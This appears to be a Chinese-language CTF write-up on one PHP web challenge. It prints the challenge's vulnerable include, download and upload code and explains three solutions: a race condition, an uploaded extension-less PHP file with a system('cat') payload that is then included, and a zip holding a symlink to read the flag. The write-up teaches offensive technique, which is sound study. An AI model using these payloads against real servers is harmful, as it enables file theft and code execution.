Posted 2018-01-20Updated 2020-07-11web security13 minutes read (About 1882 words)

记录一道题的多种解法

通过备份文件泄露拿到

<?php
error_reporting(0);
ini_set('open_basedir', '/var/www/html');
function autoload($page) {
    if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
      die('no flag flag flag flag !');
    }
    if (stripos($_SERVER['QUERY_STRING'], 'uploaded') > 0) {
      die('no uploaded uploaded uploaded uploaded !');
    }
    if (stripos($_SERVER['QUERY_STRING'], '://f') > 0) {
      die('no ://f ://f ://f');
    }
    if (stripos($_SERVER['QUERY_STRING'], 'ata') > 0) {
      die('no ata ata ata');
    }
    if (stripos($_SERVER['QUERY_STRING'], '0') > 0) {
      die('no 0 0 0');
    }
    if(file_exists("./includes/$page.php")) {
        include "./includes/$page.php";
    }
    elseif(file_exists("./includes/$page")) {
        include "./includes/$page";
    }else{
      echo "File is not exit ";
    }
}
function download($adfile, $file){
  //Only Administrators can download files .
      $cert = 'N';
    if(isset($adfile) && file_get_contents($adfile, 'r') === 'Yeah Everything Will Be Ok My Boss') {
      echo "Welcome ! You Are Administrator !";
      $cert = 'Y';
    }else{
      echo "error1";
    }
    if ($cert === 'Y'){
      if (stripos($file, 'file_list') != false) die('error4');
      if (stripos($file, 'file_list') >= 0) {
      header('Content-Description: File Transfer');
      header('Content-Type: application/octet-stream');
      header('Content-Disposition: attachment; filename='. basename($file));
      header('Content-Transfer-Encoding: binary');
      header('Expires: 0');
      header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
      header('Pragma: public');
      header('Content-Length: ' . filesize($file));
      readfile($file);
    }else{
      die('error2');
    }
}else{
  echo 'error3';
}
}
if(!isset($_GET['page'])) {
    $page = 'index';
}
else {
    $page = $_GET['page'];
}//不允许跳目录
if (stripos($page, './') > 0) {
  die('no ./ ./ ./ ./');
}//不允许用协议
if (stripos($page, '://') > 0) {
  die('no :// :// ://');
}
autoload($page);
if (isset($_GET[admin]) && isset($_GET[file])) {
  if (stripos($_GET[admin], 'flag') > 0 || stripos($_GET[file], 'flag') > 0) {
    die('not flag flag flag falg !');
  }
  if (strlen($_GET[file]) >= 38) {
    die('too long');
  }
  download($_GET[admin], $_GET[file]);
}
?>

这个题还有一个上传点，要拿到upload.php。读文件的点在

这里可以用远程服务器写 echo -n “Yeah Everything Will Be Ok My Boss” >> index.html，然后访问读取
也可以php://input+Yeah Everything Will Be Ok My Boss

下面拿到download.php

    <?php
    if (stripos($_SERVER['QUERY_STRING'], 'flag') > 0) {
      die('no flag flag flag flag !');
    }
    if (!empty($_FILES)) {
    //properties of the uploaded file
    $name= $_FILES["filename"]["name"];
    $type= $_FILES["filename"]["type"];
    $size= $_FILES["filename"]["size"];
    $temp= $_FILES["filename"]["tmp_name"];
    $error= $_FILES["filename"]["error"];
    if (strlen($name) >= 6) {
      die('name is too long !');
    }
    if (stripos($name, './') > 0) {
      die('invalid parameter');
    }
    if (stripos($name, 'php') > 0) {
      die('invalid parameter');
    }
    //只能上传zip
    if (substr($name, -3, 3) !== 'zip' && substr($name, -3, 3) !== 'jpg' && substr($name, -3, 3) !== 'png') {
      die('file can not upload ! ');
    }
    if ($error > 0)
        die("Error uploading file! code $error.");
    else
       {
        if($type !== "application/zip" || $size > 400)//condition for the file
        {
        die("Format not allowed or file size too big!");
        }
        else
        {
          if(file_exists('includes')){
            move_uploaded_file($temp, "includes/uploaded/" .$name);
            echo "Upload complete a!";
            shell_exec('sh /var/www/html/includes/ ');
          }elseif(file_exists('uploaded')){
            move_uploaded_file($temp, "uploaded/" .$name);
            echo "Upload complete!";
            shell_exec('sh /var/www/html/includes/unzip.sh');
          }
         }
    }
  }else{
    if(isset($_GET['step']) && strlen($_GET['step']) === 20) {
      if (stripos($_GET['step'], 'lag') > 0) {
        die('error');
      }
      if (stripos($_GET['step'], './') > 0) {
        die('error');
      }
      if (stripos($_GET['step'], ' ') > 0) {
        die('error');
      }
      if (stripos($_GET['step'], '/') > 0) {
        die('error');
      }
      if (preg_match('/[^\w\d_ -]/si', $_GET['step'])) {
        $_GET['step'] = preg_replace('/[^a-zA-Z0-9_ -]/s', '', $_GET['step']);
        die('error');
      }
        passthru('cat ' . 'uploaded/' . $_GET['step']);
    }else{
      die();
    }
  }
    ?>
    </body>
</html>

这段代码的大意是只能上传长度有限的代码，然后会进入

}elseif(file_exists('uploaded')){
  move_uploaded_file($temp, "uploaded/" .$name);
  echo "Upload complete!";
  shell_exec('sh /var/www/html/includes/unzip.sh');
}

用同样的手法读出unzip.sh

可以看到它是先解压压缩包然后一点一点的删掉。

所以第一种方式就是利用时间差条件竞争，这也是我队师傅用的方法。这里省略。

然后第二天看别人wp的时候。发现一个比较巧妙的方法，就是观察到sh并没有删除所有的文件，保留了没有后缀名的文件（rm -rf ./uploaded/.*并不是删除当前文件所有内容的命令）。所以可以上传一个没有后缀名的php然后用index.php的包含代码包含进来。

在zip中压缩一个clound文件如下所示（这里需要注意因为是include进来，所以cat后面的路径是flag和index.php的路径）

1
2
3

<?php
    system('cat flag/flag/flag/flag/flag/flag/flag.php');
?>

然后访问http://47.104.188.226:20001/index.php?uploaded&page=uploaded/clound

这个payload的构造很有意思巧妙的绕过了。

注意到flag是flag{CVE_SomeThing_aBout_gitLab}也就就说上述两种方法都应该是非预期。

在网搜一下gitlab的历史漏洞注意到一个很有意思的漏洞通过软连接来读文件，隐隐感觉如果用这个姿势来做是一个很优雅的解法。

首先经过一次失败的实验发现软连接是相对的路径的。也就说建立软连接的时候要把flag的位置和软连接的位置摆好。假设/var/www/html为根目录

flag的位置/var/www/html/flag/flag/flag/flag/flag/flag/flag.php

上传的位置

/flag/flag/flag/flag/flag/flag/flag.php

在web目录下

mkdir -p flag/flag/flag/flag/flag/flag/
mkdir -p includes/uploaded
echo "flag" >> flag/flag/flag/flag/flag/flag/flag.php
cd includes/uploaded
ln -s ../../flag/flag/flag/flag/flag/flag/flag.php aaaaabbbbbcccccddddd

然后压缩软连接，上传如图

抓包.jpg